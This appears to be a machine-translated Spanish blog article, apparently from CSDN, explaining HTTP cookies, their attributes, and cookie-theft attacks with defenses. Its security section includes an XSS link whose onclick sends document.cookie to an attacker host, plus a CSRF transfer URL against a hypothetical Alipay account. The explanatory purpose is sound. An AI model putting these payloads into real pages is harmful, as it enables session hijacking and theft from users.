¡Una comprensión profunda de las cookies en un artículo! ¡Prepárese para la entrevista de reclutamiento de primavera!

Prefacio

Uno de los mayores problemas en los primeros días de la red fue cómo administrar el estado. En resumen, el servidor no puede saber si dos solicitudes provienen del mismo navegador. La forma más fácil en ese momento era insertar algunos parámetros en la página al realizar la solicitud y devolver los parámetros en la siguiente solicitud. Esto requiere el uso de formularios ocultos que contengan parámetros o que se pasen como parte de los parámetros de la URL. Ambas soluciones son manuales y propensas a errores.

En ese momento, Lou Montulli, un empleado de Netscape, aplicó el concepto de "cookies" a las comunicaciones de red en 1994 para resolver el historial del carrito de compras del usuario para las compras en línea.Todos los navegadores actualmente admiten cookies.

Que es una cookie

Cookie se traduce como "galletas, postres". Las cookies existen en todas partes en las aplicaciones web. Cuando navegamos por los sitios web que hemos visitado antes, la página web puede mostrar: Hola, Sanshao Wang, lo que nos hace sentir muy amables, como comer una galleta muy dulce.

Dado que http es un protocolo sin estado, una vez que se completa el intercambio de datos entre el cliente y el servidor, se desconectará, volverá a solicitar y se volverá a conectar, lo que significa que el servidor no puede conocer la identidad del usuario únicamente a través de la conexión de red. ¿Cómo hacerlo? Luego, cada vez que un nuevo usuario lo solicite, entréguele una tarjeta de identificación (única). La próxima vez que visite, debe traer su tarjeta de identificación, para que el servidor sepa quién está accediendo y marque la diferencia para los diferentes usuarios. la respuesta a. , Este es el principio de las cookies.

De hecho, una cookie es un pequeño archivo de texto que el navegador almacena en la máquina del usuario. Las cookies son de texto sin formato y no tienen código ejecutable. Almacene cierta información requerida por el servidor, y cada vez que se solicite el sitio, se enviará la cookie correspondiente.Estas cookies se pueden utilizar para identificar información de identidad del usuario y otras funciones.

tipo de cookie

Se puede dividir en dos categorías según el tiempo de caducidad: cookies de sesión y cookies persistentes. Una cookie de sesión es una cookie temporal. Cuando el usuario sale del navegador, la cookie de sesión se eliminará. La cookie persistente se almacenará en el disco duro durante un período de tiempo más largo. Cierre el navegador y reinicie la computadora. existen, generalmente persistentes. La cookie mantendrá el archivo de configuración o la información de inicio de sesión de un determinado usuario que accede periódicamente al servidor

Las cookies persistentes establecen un tiempo de caducidad específico (expira) o un período de validez (edad máxima)

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2019 07:28:00 GMT;

atributos de cookies

dominio de cookies

El servidor que genera la cookie puede agregar un atributo de dominio al encabezado de respuesta set-Cookie para controlar qué sitios pueden ver la cookie, por ejemplo, lo siguiente:
Set-Cookie: name="wang"; domain="www.xxx.com"
si el usuario visita www.xxx.com, entonces se enviará la cookie: name = "wang", si el usuario visita www.aaa.com (no www.xxx.com), esta cookie no se enviará.

Ruta de la cookie Ruta

El atributo Ruta puede especificar una cookie para un documento específico del servidor. La URL establecida por este atributo y la ruta URL con este prefijo son todas válidas.
Por ejemplo: www.xxx.com y www.xxx.com/user/ estas dos URL. www.xxx.com configurar cookies

Set-cookie: id="123432";domain="www.xxx.com";

www.xxx.com/user/ establecer cookie:

Set-cookie:user="wang", domain="www.xxx.com"; path=/user/

Pero visite otra ruta www.xxx.com/other/ para obtener

cookie: id="123432"

Si visita v / user /, obtendrá

cookie: id="123432"
cookie: user="wang"

La seguridad

La mayoría de los sitios web utilizan cookies como un identificador único para la sesión de un usuario, porque otros métodos tienen limitaciones y lagunas. Si un sitio web utiliza cookies como identificador de sesión, un atacante puede hacerse pasar por la solicitud del usuario robando un conjunto de cookies de los usuarios. Desde la perspectiva del servidor, no puede distinguir entre el usuario y el atacante, porque el usuario y el atacante tienen la misma autenticación. A continuación, se muestran algunos ejemplos de robo de cookies y secuestro de sesiones:

Espionaje de la red

El tráfico en la red puede ser interceptado por cualquier computadora en la red, especialmente el WIFI abierto no encriptado. Este tráfico implica el envío de cookies en una solicitud HTTP normal sin cifrar. En el caso no cifrado, el atacante puede leer la información de otros usuarios de la red, incluido todo el contenido de la Cookie HTTP, para llevar a cabo un ataque en el medio. Por ejemplo: interceptar cookies para realizar tareas maliciosas (transferencias bancarias, etc.) como usuario.

Solución: el servidor puede configurar cookies con el atributo seguro, de modo que las cookies solo se puedan enviar a través de https.

Scripts de sitios cruzados XSS

Las cookies se pueden robar mediante la tecnología de secuencias de comandos entre sitios. Cuando el sitio web permite el uso de javascript para manipular las cookies, sucederá que el atacante publique código malicioso para atacar la sesión del usuario, y al mismo tiempo podrá obtener la información de la cookie del usuario.

ejemplo:

<a href="#" οnclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>领取红包</a>

Cuando el usuario hace clic en este enlace, el navegador ejecutará el código en onclick.Como resultado, la información de las cookies del usuario del sitio web se enviará al servidor del atacante abc.com. Los atacantes también pueden usar cookies para hacer cosas.

Solución: puede establecer el atributo HttpOnly a través del atributo HttpOnly de la cookie, y el código javascript no podrá manipular la cookie.

Falsificación de solicitudes entre sitios CSRF

CSRF (Falsificación de solicitudes entre sitios) Falsificación de solicitudes entre sitios. También conocido como One Click Attack y Session Riding, generalmente abreviado como CSRF o XSRF. Si no sabe lo que significa por el nombre, puede entenderlo así: el atacante (hacker, sitio web de phishing) ha robado su identidad y ha enviado solicitudes maliciosas en su nombre. Estas solicitudes incluyen el envío de correos electrónicos, el envío de mensajes y robo de número de cuenta, compra de bienes, transferencia bancaria, lo que provoca la filtración de su privacidad personal y daños a la propiedad.

Ejemplos de ataques CSRF

Después de escuchar tanto, tal vez todos estén todavía en la nube. El concepto de solo audio puede que CSRF no entienda bien. A continuación, le daré un ejemplo para brindarle una comprensión más profunda de CSRF.
Supongamos primero que Alipay tiene vulnerabilidades CSRF, mi cuenta de Alipay es lyq y la cuenta de Alipay del atacante es xxx. Luego, podemos transferir los 10,000 yuanes de mi cuenta lyq a mi otra cuenta lyq2 mediante una solicitud web http://zhifubao.com/withdraw?account=lyq&amount=10000&for=lyq2. Normalmente, después de que la solicitud se envía al servidor de Alipay, el servidor primero verificará si la solicitud proviene de una sesión legítima y si el usuario de la sesión ha iniciado sesión correctamente. El atacante también tiene la cuenta xxx en la barra de pago. Sabe que la URL anterior se puede utilizar para operaciones de transferencia, por lo que puede enviar una solicitud http://zhifubao.com/withdraw?account=lyq&amount=10000&for=xxx al Fondo de Alipay. Pero esta solicitud proviene del atacante y no de mi lyq, por lo que no puede pasar la autenticación de seguridad, por lo que la solicitud se invalida. En este momento, el atacante xxx pensó en usar CSRF, él mismo creó un sitio web pornográfico y puso el siguiente código en el sitio web: http://zhifubao.com/withdraw?account=lyq&amount=10000&for=xxx y pasó el enlace amarillo Me incitó a visitar su sitio web. Cuando no puedo evitar la tentación, hago clic en él y la solicitud anterior se enviará desde mi navegador a Alipay, y esta solicitud irá acompañada de una cookie en mi navegador. En la mayoría de los casos, la solicitud fallará porque Alipay requiere mi información de autenticación, pero si acabo de visitar Alipay y no he cerrado la página de Alipay, la cookie en mi navegador contiene mi información de autenticación, esta solicitud será Recibí una respuesta
y Transferí 10.000 yuanes de mi cuenta a la cuenta xxx. Ni siquiera sabía que el atacante se había llevado el dinero y se había salido con la suya. Entonces, en el futuro, debe contenerse y no solo abrir los enlaces de otras personas.

La diferencia entre Cookie y Session

  • Los datos de las cookies se almacenan en el navegador del cliente y los datos de la sesión se almacenan en el servidor;
  • Las cookies no son muy seguras. Otros pueden analizar las cookies almacenadas localmente y realizar suplantación de cookies. La sesión debe usarse en consideración a la seguridad;
  • La sesión se guardará en el servidor durante un período de tiempo determinado. Cuando el acceso aumenta, aumentará el rendimiento de su servidor. Teniendo en cuenta la reducción del rendimiento del servidor, se deben utilizar cookies;
  • El límite de una sola cookie en el cliente es 3K, lo que significa que la cookie almacenada en el cliente por un sitio no puede exceder los 3K.
    Aunque los esquemas de Cookie y Sesión pertenecen al cliente y al servidor respectivamente, la implementación de la sesión del servidor depende en la cookie del cliente. Sí, mencioné anteriormente que cuando el servidor ejecuta el mecanismo de sesión, se generará el valor de identificación de la sesión. Este valor de identificación se enviará al cliente. El cliente pondrá este valor de identificación en el encabezado de la solicitud http y enviarla al servidor cada vez que lo solicite. Y este valor de id se guardará en el lado del cliente, y el contenedor guardado es la cookie. Por lo tanto, cuando deshabilitamos por completo la cookie del navegador, la sesión del servidor no será se puede usar normalmente. (Nota: Algunos materiales dicen que ASP resuelve este problema. La cookie del navegador está prohibida y la sesión en el lado del servidor aún se puede usar normalmente. No he probado ASP. Sin embargo, para muchos sitios web escrito en php y jsp en Internet, descubrí que prohibir la cookie significa que no se puede acceder normalmente a la sesión del sitio web).

Supongo que te gusta

Origin blog.csdn.net/weixin_43314519/article/details/113914663
Recomendado
Clasificación